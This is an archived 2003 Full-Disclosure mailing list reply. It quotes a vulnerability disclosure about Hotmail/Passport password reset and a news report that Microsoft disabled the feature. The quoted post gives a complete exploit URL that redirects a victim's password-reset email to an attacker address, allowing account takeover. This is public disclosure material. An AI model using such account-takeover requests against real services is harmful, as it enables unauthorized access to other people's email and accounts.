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Re: Hotmail & Passport (.NET Accounts) Vulnerability
From: Michael J McCafferty <mike () m5computersecurity com>
Date: Thu, 08 May 2003 00:52:32 -0700
Well, there ya go it's hit the mainstream press.... http://news.com.com/2100-1002_3-1000429.html?tag=lhThe story mentions that MS has turned off all password reset functionality by now.
At 07:50 PM 5/7/2003 -0700, Muhammad Faisal Rauf Danka wrote:
Hotmail & Passport (.NET Accounts) VulnerabilityThere is a very serious and stupid vulnerability or badcoding in Hotmail / Passportâs (.NET Accounts)I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.I guess I donât need to go in details of how cruical and important Hotmail / Passportâs .NET Account passport is to anyone.You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.It is so simple that it is funny. All you got to do is hit the following in your browser: https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim () hotmail com&id=&cb=&prefem=attacker () attacker com&rst=1And youâll get an email on attacker () attacker com asking you to click on a url something like this:http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033>From that url, you can reset the password and I donât think I need to say anything more about it.Vulnerability / Flaw discovered : 12th April 2003Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned)Regards -------- Muhammad Faisal Rauf Danka _____________________________________________________________ --------------------------- [ATTITUDEX.COM] http://www.attitudex.com/ --------------------------- _____________________________________________________________Select your own custom email address for FREE! Get you () yourchoice com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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Current thread:
- Hotmail & Passport (.NET Accounts) Vulnerability Muhammad Faisal Rauf Danka (May 07)
- Re: Hotmail & Passport (.NET Accounts) Vulnerability Michael J McCafferty (May 08)
- Re: Hotmail & Passport (.NET Accounts) Vulnerability adf--at--Code511.com (May 08)
- Re: Hotmail & Passport (.NET Accounts) Darren Reed (May 09)
- Re: Hotmail & Passport (.NET Accounts) Ron DuFresne (May 09)
- Re: Hotmail & Passport (.NET Accounts) adf--at--Code511.com (May 09)
- Re: Hotmail & Passport (.NET Accounts) Nick FitzGerald (May 09)
- Re: Hotmail & Passport (.NET Accounts) Georgi Guninski (May 10)
- Re: Hotmail & Passport (.NET Accounts) Nick FitzGerald (May 10)
- Re: Hotmail & Passport (.NET Accounts) Mark J Cox (May 12)
- RE: Hotmail & Passport (.NET Accounts) Ed Carp (May 12)
- Re: Hotmail & Passport (.NET Accounts) Vulnerability adf--at--Code511.com (May 08)
- Re: Hotmail & Passport (.NET Accounts) Vulnerability Michael J McCafferty (May 08)